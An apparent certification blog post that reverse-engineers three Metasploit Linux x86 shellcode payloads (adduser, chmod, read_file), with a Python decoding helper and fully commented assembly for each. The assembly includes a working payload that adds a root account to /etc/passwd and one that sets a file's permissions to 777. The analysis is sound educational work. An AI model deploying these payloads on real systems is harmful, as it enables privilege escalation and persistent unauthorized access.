For my SLAE (Securitytube Linux Assembly Expert) certification exam, I have to blog my 7 assignments. Below is the fifth exercise requested about analysing
three Metasploit Linux x86 shellcode of my choice. Code can be found at my GitHub SLAE repository.
5.1 METASPLOIT ADDUSER SHELLCODE
___________________________________________________
___________________________________________________
I decided to analyse the Metasploit linux/x86/adduser shellcode. I booted my Kali Linux VM, and used msfvenom to have the shellcode of this payload:
Then, I copy/pasted it into an text file to put the shellcode on one line, allowing me in the next step to disassemble it:
We can notice that in the middle of the shellcode there is instructions that do not seem to make any sense for adding a user. To gather more information, I tried to use Libemu:
However Libemu stops in the middle of the process, instead of giving a full analysis with a C code at the end. In ndisasm output, we can follow all the instructions until an interesting "CALL" which jumps further in the code, skipping an entire block of opcodes. This sounds like CALL POP technique, without the initial jump. That would mean that the opcode block skipped is a string for which the address is needed. A reason to do it that way is to optimize the code size, while decreasing readibility. To check that theory, I coded a python script to receive an opcode input, and translate it to string:
We can see that our guess was correct, this is the entire /etc/passwd line with our user SLAE, encrypted password, home directory, and shell. Now I can add below my full analysis of this shellcode:
Then, I copy/pasted it into an text file to put the shellcode on one line, allowing me in the next step to disassemble it:
We can notice that in the middle of the shellcode there is instructions that do not seem to make any sense for adding a user. To gather more information, I tried to use Libemu:
However Libemu stops in the middle of the process, instead of giving a full analysis with a C code at the end. In ndisasm output, we can follow all the instructions until an interesting "CALL" which jumps further in the code, skipping an entire block of opcodes. This sounds like CALL POP technique, without the initial jump. That would mean that the opcode block skipped is a string for which the address is needed. A reason to do it that way is to optimize the code size, while decreasing readibility. To check that theory, I coded a python script to receive an opcode input, and translate it to string:
#!/usr/bin/python # Convert shellcode hex input as string # Author: Guillaume Kaddouch # SLAE-681 import sys try: if sys.argv[1]: arg1 = sys.argv[1] string = arg1 if sys.argv[2] == "null": string += '\n' except: toto = "Nothing" finally: encode = string.decode('hex') print 'string = %s' % string print 'encode = %s' % encodeThen I took the shellcode chunk that I'm interested in and checked what string was in:
We can see that our guess was correct, this is the entire /etc/passwd line with our user SLAE, encrypted password, home directory, and shell. Now I can add below my full analysis of this shellcode:
; Metasploit linux/x86/adduser ; Analysis by Guillaume Kaddouch ; SLAE-681 global _start section .text _start: ; set current user id to 0 (= root) ; int setreuid(uid_t ruid, uid_t euid) xor ecx,ecx ; 2nd arg: euid = 0 mov ebx,ecx ; 1st arg: ruid = 0 push byte +0x46 ; push 70 = setreuid() pop eax ; pop 70 into eax int 0x80 ; eax = setreuid(0, 0), on success 0 is returned ; open /etc/passwd file ; int open(const char *pathname, int flags) push byte +0x5 ; push 5 = open() pop eax ; pop 5 into eax xor ecx,ecx ; zero out ecx push ecx ; push 0x00000000 on stack to NULL terminate the following string push dword 0x64777373 ; string 'dwss' (decoded with hex2string.py) push dword 0x61702f2f ; string 'ap//' push dword 0x6374652f ; string 'cte/' -> whole string = /etc//passwd mov ebx,esp ; 1st arg: ebx = string address inc ecx ; ecx = 0x00000001 = O_WRONLY (Write Only) mov ch,0x4 ; 2nd arg: ecx = 0x00000401 = O_NOCTTY int 0x80 ; eax = open(*/etc/passwd, O_WRONLY+O_NOCTTY), fd returned into eax xchg eax,ebx ; save fd into ebx, set eax = */etc/passwd ; All asm below is misinterpreted by nasm ; it is not assembly, but in reality the line to add to /etc/passwd in the form ; user:encrypted_password:0:0::/:/bin/sh call next ; \xe8\x22 = call 0x22 = 34 (string lenght) ; jump ahead of the string to the rest of code ; passwd line to add jnc 0x99 popad cmp al,[gs:ecx+0x7a] aaa cs push edi dec edx fs push dword 0x73642e47 cmp dh,[eax] cmp dh,[eax] cmp bh,[edx] das cmp ch,[edi] bound ebp,[ecx+0x6e] das jnc 0xb4 or bl,[ecx-0x75] ; 0A598B: one byte belongs to the string (0x0A) ; original shellcode chunk ; \x73\x6c\x61\x65\x3a\x41\x7a\x37\x2e\x57\x4a\x2e\x64\x68\x47\x2e\x64\x73\x3a ; \x30\x3a\x30\x3a\x3a\x2f\x3a\x2f\x62\x69\x6e\x2f\x73\x68\x0a ; stripping '\x' with : echo [shellcode chunk] | sed 's/\\//g' | sed 's/x//g' ; using ./hex2reversestring.py 736c61653a417a372e574a2e6468472e64733a303a303a3a2f3a2f62696e2f73680a ; = slae:Az7.WJ.dhG.ds:0:0::/:/bin/sh ; call above continues below next: ; writing to /etc/passwd ; ssize_t write(int fd, const void *buf, size_t count); ; 1st arg: ebx = fd pop ecx ; retrieve the address of the begining of user line to add to passwd ; 2nd arg: *buf mov edx, dword [ecx-4] ; 3rd arg: size is at the begining of the line string. See below ; E8 22 00 00 00 call 0x22 ; 73 <- ret = ecx ; ecx-4 = 73(0) 00(1) 00(2) 00(3) 22(4) = 34 bytes push byte 0x4 ; 0x4 = write() pop eax ; prepare syscall int 0x80 ; write(fd, *slae:Az7.WJ.dhG.ds:0:0::/:/bin/sh, 33) push byte 0x1 ; 0x1 = exit() pop eax ; prepare syscall int 0x80 ; exit()This shellcode sets the current UID to root, then open /etc/passwd for write, and write a line adding a new user, before exiting.
5.2 METASPLOIT CHMOD SHELLCODE
___________________________________________________
___________________________________________________
I then decided to analyse as second shellcode, the Metasploit linux/x86/chmod shellcode. On Kali Linux, I used msfvenom to have the shellcode of this payload:
I prepared the file "test" with a chmod 644 on it:
Then, I copy/pasted the shellcode into an text file to put the shellcode on one line, allowing me in the next step to disassemble it:
We can notice that in the middle of the shellcode there is instructions that do not seem to make any sense for doing a chmod, like we saw in the previous analyzed shellcode. To gather more information, I tried to use Libemu again:
Libemu still stops in the middle of the process, instead of giving a full analysis with a C code at the end. In ndisasm output, we can follow all the instructions until an interesting "CALL" which jumps further in the code, skipping an entire block of opcodes like the previous shellcode. I will use again the same python program:
The string finally revealed, is the path to the file to be chmoded. Now we can continue with the full analysis of the shellcode assembly:
To analyse it, we can run gdb and set a breakpoint, or we could insert our shellcode into a C program and then use gdb to set a breakpoint at the start of the shellcode. I used gdb directly:
We are interested by the CALL and where it jumps. We can set another breakpoint at the memory address of CALL:
We can confirm that the middle block of shellcode is skipped over. It is possible to have a graphical view with edb debbuguer, by setting a breakpoint at the CALL address :
We can clearly see the block of string jumped over, and precisely view how the opcodes are splitted where the CALL jumps to "\x5B" (pop eax) alone, then "\x68\xff\x01\x00\x00" (push 0x01ff). Ndisasm wrongly showed it was "\x00\x5B\x68" and "\xff\x01", then "\x00\x00". This demonstrates that static analysis is sometimes not enough, and that using a debugguer while the program is running is necessary.
I prepared the file "test" with a chmod 644 on it:
Then, I copy/pasted the shellcode into an text file to put the shellcode on one line, allowing me in the next step to disassemble it:
We can notice that in the middle of the shellcode there is instructions that do not seem to make any sense for doing a chmod, like we saw in the previous analyzed shellcode. To gather more information, I tried to use Libemu again:
Libemu still stops in the middle of the process, instead of giving a full analysis with a C code at the end. In ndisasm output, we can follow all the instructions until an interesting "CALL" which jumps further in the code, skipping an entire block of opcodes like the previous shellcode. I will use again the same python program:
The string finally revealed, is the path to the file to be chmoded. Now we can continue with the full analysis of the shellcode assembly:
; Metasploit linux/x86/chmod ; Analysis by Guillaume Kaddouch ; SLAE-681 global _start section .text _start: ; chmod ; chmod(const char *path, mode_t mode) cdq push byte 0xf ; 0xf = 15 = chmod() pop eax ; prepare eax for chmod() syscall push edx call next ; call shellcode+31 ; below is a string misinterpreted as assembly by nasm das push dword 0x2f656d6f jnz 0x7c insb insb popad jnz 0x85 gs das jz 0x81 jnc 0x92 add [ebx+0x68],bl inc dword [ecx] add [eax],al ; opcodes of assembly chunk above is: ; \x2f\x68\x6f\x6d\x65\x2f\x67\x75\x69\x6c\x6c\x61\x75\x6d\x65\x2f\x74\x65\x73\x74\x00 ; $ echo [chunk] | sed 's/x//g' | sed 's/\\//g' = 2f686f6d652f6775696c6c61756d652f7465737400 ; $ ./hex2reversestring.py 2f686f6d652f6775696c6c61756d652f7465737400 ; = '/home/guillaume/test' ; this assembly chunk is the end of a string and the begining of code (misinterpreted by nasm) ; 0000001E 005B68 add [ebx+0x68],bl ; 00000021 FF01 inc dword [ecx] ; 00000023 0000 add [eax],al ; thanks to gdb and edb debugguers, we know the correct code, see below (2 lines) ; 00 end of above string ; above call shellcode+31 jumps below next: pop ebx ; \x5B -> 1st arg: store *path in ebx (file to chmod) push 0x01ff ; \x68\xFF\x01\x00\x00 -> 0x1ff = 777 octal (file's permissions) pop ecx ; 2nd arg: ecx = 777 octal int 0x80 ; eax = chmod(*path, 777), *path = /home/guillaume/test ; exit() push byte 0x1 pop eax int 0x80This shellcode does a "chmod 777 /home/guillaume/test". Below I show that this shellcode is working:
To analyse it, we can run gdb and set a breakpoint, or we could insert our shellcode into a C program and then use gdb to set a breakpoint at the start of the shellcode. I used gdb directly:
We are interested by the CALL and where it jumps. We can set another breakpoint at the memory address of CALL:
We can confirm that the middle block of shellcode is skipped over. It is possible to have a graphical view with edb debbuguer, by setting a breakpoint at the CALL address :
We can clearly see the block of string jumped over, and precisely view how the opcodes are splitted where the CALL jumps to "\x5B" (pop eax) alone, then "\x68\xff\x01\x00\x00" (push 0x01ff). Ndisasm wrongly showed it was "\x00\x5B\x68" and "\xff\x01", then "\x00\x00". This demonstrates that static analysis is sometimes not enough, and that using a debugguer while the program is running is necessary.
5.3 METASPLOIT READ_FILE SHELLCODE
___________________________________________________
___________________________________________________
I then decided to analyse as third shellcode, the Metasploit linux/x86/read_file shellcode. On Kali Linux, I used msfvenom to have the shellcode of this payload:
Then, I copy/pasted the shellcode into an text file to put the shellcode on one line, allowing me in the next step to disassemble it:
We can recognize at the end a CALL that jumps back at 0x2, which means at the begining of the shellcode. It is clearly a JMP CALL POP method. Trying again Libemu to learn more about the shellcode:
Libemu still stops in the middle of the process, instead of giving a full analysis with a C code at the end. I will use again the same python program as for the previous shellcodes, to know what means the last chunk of opcodes:
The string revealed is the path to the file to be read. Now we can continue with the full analysis of the shellcode assembly:
The output has been cutted. We can see that this shellcode works as advertised.
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-681
Then, I copy/pasted the shellcode into an text file to put the shellcode on one line, allowing me in the next step to disassemble it:
We can recognize at the end a CALL that jumps back at 0x2, which means at the begining of the shellcode. It is clearly a JMP CALL POP method. Trying again Libemu to learn more about the shellcode:
Libemu still stops in the middle of the process, instead of giving a full analysis with a C code at the end. I will use again the same python program as for the previous shellcodes, to know what means the last chunk of opcodes:
The string revealed is the path to the file to be read. Now we can continue with the full analysis of the shellcode assembly:
; Metasploit linux/x86/read_file ; Analysis by Guillaume Kaddouch ; SLAE-681 global _start section .text _start: jmp short jump1 ; jump to 'jump1' (JMP CALL POP technique) shellcode: ; open /etc/passwd ; int open(const char *pathname, int flags) mov eax,0x5 ; 0x5 = open() pop ebx ; save ret on stack into ebx = *pathname xor ecx,ecx ; zero out ecx, 2nd arg = 0x0 (O_RDONLY) int 0x80 ; eax = open(*pathname, 0x0) ; read /etc/passwd ; ssize_t read(int fd, void *buf, size_t count) mov ebx,eax ; 1st arg: fd retrieved in eax saved into ebx mov eax,0x3 ; 0x3 = read() mov edi,esp ; save stack pointer into edi mov ecx,edi ; 2nd arg: ecx points to the stack (*buf has now room to receive bytes read) mov edx,0x1000 ; 3rd arg: 0x1000 = 4096 bytes to read int 0x80 ; eax = read(fd, *buf, 4096) ; write ; ssize_t write(int fd, const void *buf, size_t count) mov edx,eax ; 3rd arg: edx = count of bytes returned by read() mov eax,0x4 ; 0x4 = write() mov ebx,0x1 ; 1st arg: 0x1 = stdin (display on screen) int 0x80 ; write(stdin, *buf, count) ; exit() mov eax,0x1 mov ebx,0x0 int 0x80 jump1: call shellcode ; jump to 'shellcode' mypath db "/etc/passwd" ; string misinterpreted by ndisasm as instructions ; opcodes = \x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x00 ; $ echo '\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x00' | sed 's/x//g' | sed 's/\\//g' = 2f6574632f70617373776400 ; ./hex2reversestring.py 2f6574632f70617373776400 ; = /etc/passwdThis shellcode reads /etc/passwd and ouputs it to the screen. Below I show that this shellcode is working:
The output has been cutted. We can see that this shellcode works as advertised.
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-681
No comments:
Post a Comment